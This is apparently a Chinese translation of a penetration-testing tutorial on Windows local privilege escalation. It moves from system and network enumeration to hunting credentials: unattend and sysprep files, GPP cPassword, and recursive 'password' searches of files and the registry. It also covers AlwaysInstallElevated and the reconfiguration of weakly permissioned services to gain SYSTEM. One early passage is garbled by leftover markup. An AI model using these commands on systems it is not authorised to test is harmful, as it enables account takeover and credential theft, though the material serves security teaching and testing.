Windows提权基本原理
没有多少人谈论在Windows下提权，是一件让人遗憾的事！我想，没有人这么做的理由有以下几点：
- 在渗透测试项目中，客户需要的验证就是一个低权限shell。
- 在演示环境，你经常就会得到管理员帐户。
- meterpreter使你变得懒惰(getsystem = lazy-fu)。
- 最后的评估报告最终变成 - ->nessus安全认证扫描，微软安全基线分析....
尽管通常的感觉是，配置得当的windows是安全的。但是事实真的是这样吗？因此，让我们深入了解Windows操作系统的黑暗角落，看看我们是否能得到SYSTEM权限。
应该注意的是，我将使用不同版本的Windows来强调任何可能存在的命令行差异。请牢记这一点，因为不同的操作系统和版本差异会在命令行中显现。我试图构造本教程，以便它适用于Windows提权的最普遍的方式。
最后，我想对我的朋友Kostas大声说，他真的也很喜欢渗透（post-exploitation），你不会想让他进入到你的计算机的。
【必要文档补充】
- Encyclopaedia Of Windows Privilege Escalation (Brett Moore)
- Windows Attacks: AT is the new black (Chris Gates font-weight:700">\Windows\system32> hostname
b33f
C:\Windows\system32> echo %username%
user1
现在我们有了一些基本信息，然后我们列出了其他用户帐户，并在更详细的情况下查看我们自己的用户信息。我们已经看到user1不是本地组管理员。
C:\Windows\system32> net users User accounts for \\B33F ------------------------------------------------------------------------------- Administrator b33f Guest user1 The command completed successfully. C:\Windows\system32> net user user1 User name user1 Full Name Comment User's comment Country code 000 (System Default) Account active Yes Account expires Never Password last set 1/11/2014 7:47:14 PM Password expires Never Password changeable 1/11/2014 7:47:14 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 1/11/2014 8:05:09 PM Logon hours allowed All Local Group Memberships *Users Global Group memberships *None The command completed successfully.这就是我们目前需要了解的关于用户和权限的全部内容。接下来我们要讨论的是网络信息，连接的设备是什么，以及它对这些连接施加了什么规则。
首先让我们看一下可用的网络接口和路由表。C:\Windows\system32> ipconfig /all Windows IP Configuration Host Name . . . . . . . . . . . . : b33f Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network) Physical Address. . . . . . . . . : 0C-84-DC-62-60-29 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection Physical Address. . . . . . . . . : 00-0C-29-56-79-35 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred) IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM Default Gateway . . . . . . . . . : 192.168.0.1 DHCP Server . . . . . . . . . . . : 192.168.0.1 DHCPv6 IAID . . . . . . . . . . . : 234884137 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35 DNS Servers . . . . . . . . . . . : 192.168.0.1 NetBIOS over Tcpip. . . . . . . . : EnabledC:\Windows\system32> route print =========================================================================== Interface List 18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network) 13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9 11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection 1...........................Software Loopback Interface 1 16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3 14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface =========================================================================== IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.104 10 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 192.168.0.0 255.255.255.0 On-link 192.168.0.104 266 192.168.0.104 255.255.255.255 On-link 192.168.0.104 266 192.168.0.255 255.255.255.255 On-link 192.168.0.104 266 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 192.168.0.104 266 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 192.168.0.104 266 =========================================================================== Persistent Routes: None IPv6 Route Table =========================================================================== Active Routes: If Metric Network Destination Gateway 14 58 ::/0 On-link 1 306 ::1/128 On-link 14 58 2001::/32 On-link 14 306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128 On-link 11 266 fe80::/64 On-link 14 306 fe80::/64 On-link 14 306 fe80::8d2:b4e:3f57:ff97/128 On-link 11 266 fe80::5cd4:9caf:61c0:ba6e/128 On-link 1 306 ff00::/8 On-link 14 306 ff00::/8 On-link 11 266 ff00::/8 On-link =========================================================================== Persistent Routes: Nonearp -A显示了所有可用接口的arp(地址解析协议)缓存表。
C:\Windows\system32> arp -A Interface: 192.168.0.104 --- 0xb Internet Address Physical Address Type 192.168.0.1 90-94-e4-c5-b0-46 dynamic 192.168.0.101 ac-22-0b-af-bb-43 dynamic 192.168.0.255 ff-ff-ff-ff-ff-ff static 224.0.0.22 01-00-5e-00-00-16 static 224.0.0.251 01-00-5e-00-00-fb static 224.0.0.252 01-00-5e-00-00-fc static 239.255.255.250 01-00-5e-7f-ff-fa static 255.255.255.255 ff-ff-ff-ff-ff-ff static这就使我们了解了活动网络连接和防火墙规则。
C:\Windows\system32> netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 684 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4 TCP 127.0.0.1:5354 0.0.0.0:0 LISTENING 1400 TCP 192.168.0.104:139 0.0.0.0:0 LISTENING 4 TCP [::]:135 [::]:0 LISTENING 684 TCP [::]:445 [::]:0 LISTENING 4 TCP [::]:5357 [::]:0 LISTENING 4 UDP 0.0.0.0:5355 *:* 1100 UDP 0.0.0.0:52282 *:* 976 UDP 0.0.0.0:55202 *:* 2956 UDP 0.0.0.0:59797 *:* 1400 UDP 127.0.0.1:1900 *:* 2956 UDP 127.0.0.1:65435 *:* 2956 UDP 192.168.0.104:137 *:* 4 UDP 192.168.0.104:138 *:* 4 UDP 192.168.0.104:1900 *:* 2956 UDP 192.168.0.104:5353 *:* 1400 UDP 192.168.0.104:65434 *:* 2956 UDP [::]:5355 *:* 1100 UDP [::]:52281 *:* 976 UDP [::]:52283 *:* 976 UDP [::]:55203 *:* 2956 UDP [::]:59798 *:* 1400 UDP [::1]:1900 *:* 2956 UDP [::1]:5353 *:* 1400 UDP [::1]:65433 *:* 2956 UDP [fe80::5cd4:9caf:61c0:ba6e%11]:1900 *:* 2956 UDP [fe80::5cd4:9caf:61c0:ba6e%11]:65432 *:* 2956以下两个netsh命令是在不同操作系统的命令示例。netsh firewall命令只能从XP SP2和以上版本运行。
C:\Windows\system32> netsh firewall show state Firewall status: ------------------------------------------------------------------- Profile = Standard Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Group policy version = Windows Firewall Remote admin mode = Disable Ports currently open on all network interfaces: Port Protocol Version Program ------------------------------------------------------------------- No ports are currently open on all network interfaces.C:\Windows\system32> netsh firewall show config Domain profile configuration: ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Allowed programs configuration for Domain profile: Mode Traffic direction Name / Program ------------------------------------------------------------------- Port configuration for Domain profile: Port Protocol Mode Traffic direction Name ------------------------------------------------------------------- ICMP configuration for Domain profile: Mode Type Description ------------------------------------------------------------------- Enable 2 Allow outbound packet too big Standard profile configuration (current): ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Service configuration for Standard profile: Mode Customized Name ------------------------------------------------------------------- Enable No Network Discovery Allowed programs configuration for Standard profile: Mode Traffic direction Name / Program ------------------------------------------------------------------- Enable Inbound COMRaider / E:\comraider\comraider.exe Enable Inbound nc.exe / C:\users\b33f\desktop\nc.exe Port configuration for Standard profile: Port Protocol Mode Traffic direction Name ------------------------------------------------------------------- ICMP configuration for Standard profile: Mode Type Description ------------------------------------------------------------------- Enable 2 Allow outbound packet too big Log configuration: ------------------------------------------------------------------- File location = C:\Windows\system32\LogFiles\Firewall\pfirewall.log Max file size = 4096 KB Dropped packets = Disable Connections = Disable最后，我们将简要地看一下在这个设备上运行的有什么，比如计划任务、运行进程、启动服务和安装的驱动程序。
这将显示所有调度任务的详细输出，下面您可以看到单个任务的示例输出。
C:\Windows\system32> schtasks /query /fo LIST /v Folder: \Microsoft\Windows Defender HostName: B33F TaskName: \Microsoft\Windows Defender\MP Scheduled Scan Next Run Time: 1/22/2014 5:11:13 AM Status: Ready Logon Mode: Interactive/Background Last Run Time: N/A Last Result: 1 Author: N/A Task To Run: c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob -WinTask -RestrictPrivilegesScan Start In: N/A Comment: Scheduled Scan Scheduled Task State: Enabled Idle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes Power Management: No Start On Batteries Run As User: SYSTEM Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: Daily Start Time: 5:11:13 AM Start Date: 1/1/2000 End Date: 1/1/2100 Days: Every 1 day(s) Months: N/A Repeat: Every: Disabled Repeat: Until: Time: Disabled Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled [..Snip..] # tasklist命令显示了正在运行的进程以及启动服务。C:\Windows\system32> tasklist /SVC Image Name PID Services ========================= ======== ============================================ System Idle Process 0 N/A System 4 N/A smss.exe 244 N/A csrss.exe 332 N/A csrss.exe 372 N/A wininit.exe 380 N/A winlogon.exe 428 N/A services.exe 476 N/A lsass.exe 484 SamSs lsm.exe 496 N/A svchost.exe 588 DcomLaunch, PlugPlay, Power svchost.exe 668 RpcEptMapper, RpcSs svchost.exe 760 Audiosrv, Dhcp, eventlog, HomeGroupProvider, lmhosts, wscsvc svchost.exe 800 AudioEndpointBuilder, CscService, Netman, SysMain, TrkWks, UxSms, WdiSystemHost, wudfsvc svchost.exe 836 AeLookupSvc, BITS, gpsvc, iphlpsvc, LanmanServer, MMCSS, ProfSvc, Schedule, seclogon, SENS, ShellHWDetection, Themes, Winmgmt, wuauserv audiodg.exe 916 N/A svchost.exe 992 EventSystem, fdPHost, netprofm, nsi, WdiServiceHost, WinHttpAutoProxySvc svchost.exe 1104 CryptSvc, Dnscache, LanmanWorkstation, NlaSvc spoolsv.exe 1244 Spooler svchost.exe 1272 BFE, DPS, MpsSvc mDNSResponder.exe 1400 Bonjour Service taskhost.exe 1504 N/A taskeng.exe 1556 N/A vmtoolsd.exe 1580 VMTools dwm.exe 1660 N/A explorer.exe 1668 N/A vmware-usbarbitrator.exe 1768 VMUSBArbService TPAutoConnSvc.exe 1712 TPAutoConnSvc [..Snip..] C:\Windows\system32> net start These Windows services are started: Application Experience Application Information Background Intelligent Transfer Service Base Filtering Engine Bluetooth Support Service Bonjour Service COM+ Event System COM+ System Application Cryptographic Services DCOM Server Process Launcher Desktop Window Manager Session Manager DHCP Client Diagnostic Policy Service Diagnostic Service Host Diagnostic System Host Distributed Link Tracking Client Distributed Transaction Coordinator DNS Client Function Discovery Provider Host Function Discovery Resource Publication Group Policy Client [..Snip..] # DRIVERQUERY有时是有用的，因为一些第三方驱动，即使是信誉良好的公司，也比瑞士奶酪上的洞多。这是可能的，因为ring0的利用是在大多数人的专长技能之外。C:\Windows\system32> DRIVERQUERY Module Name Display Name Driver Type Link Date ============ ====================== ============= ====================== 1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 6:01:11 PM ACPI Microsoft ACPI Driver Kernel 11/20/2010 4:37:52 PM AcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 4:47:55 PM adp94xx adp94xx Kernel 12/6/2008 7:59:55 AM adpahci adpahci Kernel 5/2/2007 1:29:26 AM adpu320 adpu320 Kernel 2/28/2007 8:03:08 AM AFD Ancillary Function Dri Kernel 11/20/2010 4:40:00 PM agp440 Intel AGP Bus Filter Kernel 7/14/2009 7:25:36 AM aic78xx aic78xx Kernel 4/12/2006 8:20:11 AM aliide aliide Kernel 7/14/2009 7:11:17 AM amdagp AMD AGP Bus Filter Dri Kernel 7/14/2009 7:25:36 AM amdide amdide Kernel 7/14/2009 7:11:19 AM AmdK8 AMD K8 Processor Drive Kernel 7/14/2009 7:11:03 AM AmdPPM AMD Processor Driver Kernel 7/14/2009 7:11:03 AM amdsata amdsata Kernel 3/19/2010 9:08:27 AM amdsbs amdsbs Kernel 3/21/2009 2:35:26 AM amdxata amdxata Kernel 3/20/2010 12:19:01 AM AppID AppID Driver Kernel 11/20/2010 5:29:48 PM arc arc Kernel 5/25/2007 5:31:06 AM [..Snip..]在t4阶段，神秘艺术之WMIC
我想提下WMIC (Windows Management Instrumentation Command-Line，Windows管理工具命令行)，因为它是Windows最有用的命令行工具。WMIC对于信息收集和渗透都是非常实用的而且输出内容有很多值得期待的地方。全面解释WMIC的使用将需要一个教程。补充一点，由于格式化的问题，WMIC有些输出将很难显示。
我将会在下面列出两个文章，这两个文章对于WMIC是非常值得阅读的。- Command-Line Ninjitsu (SynJunkie)
- Windows WMIC Command Line (ComputerHope)
糟糕的是，一些默认配置的windows并不允许访问WMIC，除非是用户在windows的管理组，从我的虚拟机测试来看，任何版本的windows xp的低权限用户并不能访问WMIC。相反的，默认配置的windows 7 专业版和windows 8 企业版允许低权限的用户访问WMIC并查询操作系统版本。这正是我们所需要的，因为我们正在使用WMIC来收集关于目标机的信息。
关于WMIC的选项，我已经列出了下面可用的命令行。C:\Windows\system32> wmic /? [global switches] The following global switches are available: /NAMESPACE Path for the namespace the alias operate against. /ROLE Path for the role containing the alias definitions. /NODE Servers the alias will operate against. /IMPLEVEL Client impersonation level. /AUTHLEVEL Client authentication level. /LOCALE Language id the client should use. /PRIVILEGES Enable or disable all privileges. /TRACE Outputs debugging information to stderr. /RECORD Logs all input commands and output. /INTERACTIVE Sets or resets the interactive mode. /FAILFAST Sets or resets the FailFast mode. /USER User to be used during the session. /PASSWORD Password to be used for session login. /OUTPUT Specifies the mode for output redirection. /APPEND Specifies the mode for output redirection. /AGGREGATE Sets or resets aggregate mode. /AUTHORITY Specifies the for the connection. /?[:BRIEF|FULL>] Usage information. For more information on a specific global switch, type: switch-name /? The following alias/es are available in the current role: ALIAS - Access to the aliases available on the local system BASEBOARD - Base board (also known as a motherboard or system board) management. BIOS - Basic input/output services (BIOS) management. BOOTCONFIG - Boot configuration management. CDROM - CD-ROM management. COMPUTERSYSTEM - Computer system management. CPU - CPU management. CSPRODUCT - Computer system product information from SMBIOS. DATAFILE - DataFile Management. DCOMAPP - DCOM Application management. DESKTOP - User's Desktop management. DESKTOPMONITOR - Desktop Monitor management. DEVICEMEMORYADDRESS - Device memory addresses management. DISKDRIVE - Physical disk drive management. DISKQUOTA - Disk space usage for NTFS volumes. DMACHANNEL - Direct memory access (DMA) channel management. ENVIRONMENT - System environment settings management. FSDIR - Filesystem directory entry management. GROUP - Group account management. IDECONTROLLER - IDE Controller management. IRQ - Interrupt request line (IRQ) management. JOB - Provides access to the jobs scheduled using the schedule service. LOADORDER - Management of system services that define execution dependencies. LOGICALDISK - Local storage device management. LOGON - LOGON Sessions. MEMCACHE - Cache memory management. MEMORYCHIP - Memory chip information. MEMPHYSICAL - Computer system's physical memory management. NETCLIENT - Network Client management. NETLOGIN - Network login information (of a particular user) management. NETPROTOCOL - Protocols (and their network characteristics) management. NETUSE - Active network connection management. NIC - Network Interface Controller (NIC) management. NICCONFIG - Network adapter management. NTDOMAIN - NT Domain management. NTEVENT - Entries in the NT Event Log. NTEVENTLOG - NT eventlog file management. ONBOARDDEVICE - Management of common adapter devices built into the motherboard (system board). OS - Installed Operating System/s management. PAGEFILE - Virtual memory file swapping management. PAGEFILESET - Page file settings management. PARTITION - Management of partitioned areas of a physical disk. PORT - I/O port management. PORTCONNECTOR - Physical connection ports management. PRINTER - Printer device management. PRINTERCONFIG - Printer device configuration management. PRINTJOB - Print job management. PROCESS - Process management. PRODUCT - Installation package task management. QFE - Quick Fix Engineering. QUOTASETTING - Setting information for disk quotas on a volume. RDACCOUNT - Remote Desktop connection permission management. RDNIC - Remote Desktop connection management on a specific network adapter. RDPERMISSIONS - Permissions to a specific Remote Desktop connection. RDTOGGLE - Turning Remote Desktop listener on or off remotely. RECOVEROS - Information that will be gathered from memory when the operating system fails. REGISTRY - Computer system registry management. SCSICONTROLLER - SCSI Controller management. SERVER - Server information management. SERVICE - Service application management. SHADOWCOPY - Shadow copy management. SHADOWSTORAGE - Shadow copy storage area management. SHARE - Shared resource management. SOFTWAREELEMENT - Management of the elements of a software product installed on a system. SOFTWAREFEATURE - Management of software product subsets of SoftwareElement. SOUNDDEV - Sound Device management. STARTUP - Management of commands that run automatically when users log onto the computer system. SYSACCOUNT - System account management. SYSDRIVER - Management of the system driver for a base service. SYSTEMENCLOSURE - Physical system enclosure management. SYSTEMSLOT - Management of physical connection points including ports, slots and peripherals, and proprietary connections points. TAPEDRIVE - Tape drive management. TEMPERATURE - Data management of a temperature sensor (electronic thermometer). TIMEZONE - Time zone data management. UPS - Uninterruptible power supply (UPS) management. USERACCOUNT - User account management. VOLTAGE - Voltage sensor (electronic voltmeter) data management. VOLUME - Local storage volume management. VOLUMEQUOTASETTING - Associates the disk quota setting with a specific disk volume. VOLUMEUSERQUOTA - Per user storage volume quota management. WMISET - WMI service operational parameters management. For more information on a specific alias, type: alias /? CLASS - Escapes to full WMI schema. PATH - Escapes to full WMI object paths. CONTEXT - Displays the state of all the global switches. QUIT/EXIT - Exits the program. For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?为了简化操作，我已经创建了一个脚本，可以在目标机器上使用WMIC提取以下信息:流程、服务、用户帐号、用户组、网络接口、硬盘信息、网络共享信息、安装Windows补丁、程序在启动运行、安装的软件列表、操作系统、时区信息。
我已经通过各种标志和参数来提取有价值的信息，如果有人想要添加到列表中，请在下面留下评论。使用内置的输出特性，脚本将把所有结果写入一个人类可读的html文件。- 脚本地址：http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar
- 输出页面：http://www.fuzzysecurity.com/tutorials/files/Win7.html
在t5-t6阶段，快速攻陷
在继续渗透之前，你需要先回顾一下已经搜集到的信息，信息量应该已经不小了。我们计划的下一步就是要寻找一些能被轻易利用的系统缺陷来提升权限。
显而易见，第一步就是去查看补丁修正情况。如果发现主机已经被打了某些补丁，也不用很担心。我的 WMIC 脚本可以列出所有已安装的补丁，你可以通过下面这条命令来查看：C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn Caption Description HotFixID InstalledOn http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013 http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013 http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013 http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013 http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013 http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013 http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013 http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013 http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013 http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013 http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013 http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013 http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013 http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013 http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013 http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013 http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013 http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013 http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013 http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013 [..Snip..]但这些输出并不代表一定可以被利用，最好的策略先是去寻找可以提升权限的 EXP 以及它们的补丁编号。这些 EXP 包括但不限于：KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)。在列举了系统版本和补丁包后，你应该发现哪些权限提升漏洞可以被复现，使用补丁包编号你可以过滤掉那些已经被安装的补丁，检查一下是否有被漏打的补丁。
以下是对补丁包进行过滤的语法C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."接下来我们将会有很多新发现。一般情况下，如果需要给很多机器配置同一个环境，一个技术人员一定不会逐个安装配置这些机器，而是会选择一些自动化安装的解决方案。这些方案是什么以及它们是如何工作的与我们当下所做的事不是很相关，重要的是他们留下的用于安装流程的配置文件，这些配置文件包含大量的敏感信息，例如操作系统的产品密钥和管理员密码。而我们最最感兴趣的就是管理员密码，因为我们可以借此来提升我们的权限。
以下是一些经常被用于存放配置文件的位置（当然检查整个系统也是可以的）c:\sysprep.inf c:\sysprep\sysprep.xml %WINDIR%\Panther\Unattend\Unattended.xml %WINDIR%\Panther\Unattended.xml这些目录中的文件可能包含着明文密码，或是Base64加密后的密码。下面是一些文件中的样例：
# This is a sample from sysprep.inf with clear-text credentials. [GuiUnattended] OEMSkipRegional=1 OemSkipWelcome=1 AdminPassword=s3cr3tp4ssw0rd TimeZone=20 # This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword". LocalAccounts> LocalAccount wcm:action="add"> Password> Value>U3VwZXJTZWN1cmVQYXNzd29yZA==/Value> PlainText>false/PlainText> /Password> Description>Local Administrator/Description> DisplayName>Administrator/DisplayName> Group>Administrators/Group> Name>Administrator/Name> /LocalAccount> /LocalAccounts> # Sample from Unattended.xml with the same "secure" Base64 encoding. AutoLogon> Password> Value>U3VwZXJTZWN1cmVQYXNzd29yZA==/Value> PlainText>false/PlainText> /Password> Enabled>true/Enabled> Username>Administrator/Username> /AutoLogon>在 Ben Campbell (@Meatballs__) 的推荐下，我将获取组策略首选项 ( Group Policy Preferences ) 保存的密码也作为快速攻陷目标机器的方式之一。组策略首选项文件可以被用于去创建域内主机的本地用户。如果你控制的机器被连接到一个域内，那么去查找一下存储在 SYSVOL 中的 Groups.xml 文件也是很有意义的，而且所有被授权的用户都有该文件的读权限。在这个 xml 文件中的密码只是被临时用户“模糊”地用 AES 加密了，说“模糊”是因为静态密钥已经被公开的公布于 msdn 网站上，所以可以轻松地破解这些密码。
除了 Groups.xml 还有几个其他的策略首选项文件也同样含有可选的 “cPassword” 属性：
Services\Services.xml: Element-Specific Attributes ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element Printers\Printers.xml: SharedPrinter Element Drives\Drives.xml: Element-Specific Attributes DataSources\DataSources.xml: Element-Specific Attributes这个漏洞可以通过手动浏览 SYSVOL 文件夹和抓取相关文件来利用，证明如下
【不支持外链图片，请上传图片或单独粘贴图片】然而，我们都希望有一个自动化的解决方案，这样我们就可以尽可能快的完成这项工作。这里主要有两种方式，取决于我们的 shell 类型以及权限大小，
- (1) 一个是通过已建立的会话执行 metasploit 模块
- (2) 你可以使用 PowerSploit 的 Get-GPPPassword 功能。PowerSploit 是一个强大的 powershell 框架，作者是 Matt Graeber（擅长逆向工程、计算机取证以及渗透测试）。
接下来我们要查找一个奇怪的注册表设置项 “AlwaysInstallElevated”，如果该设置项被启用，它会允许任何权限的用户以 NT AUTHORITY\SYSTEM 权限来安装 *.msi 文件。可以创建低权限的用户（它们的操作系统使用受到限制）但是却给它们 SYSTEM 权限去安装软件，这在我看来是有些奇怪。想要阅读更多的这方面的背景知识，可以查看这里 ，这是在 GreyHatHacker 博客上 Parvez 的一篇文章，他最早报告了这个安全问题。
为了能利用这个漏洞，我们需要去检查两个注册表键值是否被设置，这是我们是否能弹出 SYSTEM 权限 shell 的关键。以下是查询对应注册表键值的语法# 只有当注册表项中存在键值 "AlwaysInstallElevated" 且其 DWORD 值为1时才会有效 C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated为了完成这个章节，我们还将在操作系统上做一些快速搜索，希望我们可以成功。
执行以下语句完成搜索# The command below will search the file system for file names containing certain keywords. You canspecify as many keywords as you wish. # 这条语句可以搜索指定含有任意多关键字的文件名 C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config* # Search certain file types for a keyword, this can generate a lot of output. # 用关键词搜索精确的文件类型，这个操作可能造成大量的输出 C:\Windows\system32> findstr /si password *.xml *.ini *.txt # Similarly the two commands below can be used to grep the registry for keywords, in this case "password". # 以下两个命令被用于查找带有关键词的注册表项，样例中查询的关键词是 "password" C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s在t7-t10阶段，撸起袖子加油干
希望到现在为止，我们已经有了一个 SYSTEM shell，但如果我们还没有，接下来还有一些攻击方法可以尝试。在最后章节我们将会关注于 Windows 服务和文件/目录权限部分。我们的目标是去使用低权限去提升当前会话权限。
我们将会检查很多访问权限，所以我们应该抓取一份微软 Sysinternals 套件中 accesschk.exe 工具的副本。微软 Sysinternals 套件包含了许多强大的工具，但微软并没有把它们加入标准版的 Windows。你可以从 微软 technet 网站下载该套件
我们将会先从 Windows 开启的服务来寻找线索，因为那里可以发现很多快速制胜的方法。通常来说，现代操作系统不会包含存在漏洞的服务。在这种情况下，漏洞指的是我们可以重新配置的服务参数。Windows 服务有点像应用程序的快捷键，下面是一个例子
# We can use sc to query, configure and manage windows services. # 我们可以使用 sc 去查询、配置、管理 Windows 服务 C:\Windows\system32> sc qc Spooler [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Spooler TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe LOAD_ORDER_GROUP : SpoolerGroup TAG : 0 DISPLAY_NAME : Print Spooler DEPENDENCIES : RPCSS : http SERVICE_START_NAME : LocalSystem我们可以使用 accesschk 检查每一个服务的权限
# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list all services. C:\> accesschk.exe -ucqv Spooler Spooler R NT AUTHORITY\Authenticated Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL R BUILTIN\Power Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_USER_DEFINED_CONTROL READ_CONTROL RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESSAccesschk 可以自动化的检测我们是否拥有一个 Windows 服务的写入访问权限。作为一个低权限用户，我们通常希望检查结果为 “Authenticated Users”。一定要去检查你的用户属于哪个用户组，举个例子，“Power Users” 被认为是一个低权限用户组（尽管它没有被广泛使用）
一起来比较一下在 Windows 8 和 Windows XP SP0 上输出的不同# This is on Windows 8. C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" * No matching objects found. # On a default Windows XP SP0 we can see there is a pretty big security fail. C:\> accesschk.exe -uwcqv "Authenticated Users" * RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv SSDPSRV SSDPSRV RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS这个问题在之后的 XP SP2 版本中得到了解决，然而在 SP0 和 SP1 它可以被用作一个通用的本地提权漏洞。通过重新配置该服务，我们可以让它以 SYSTEM 权限运行任何我们指定的二进制文件。
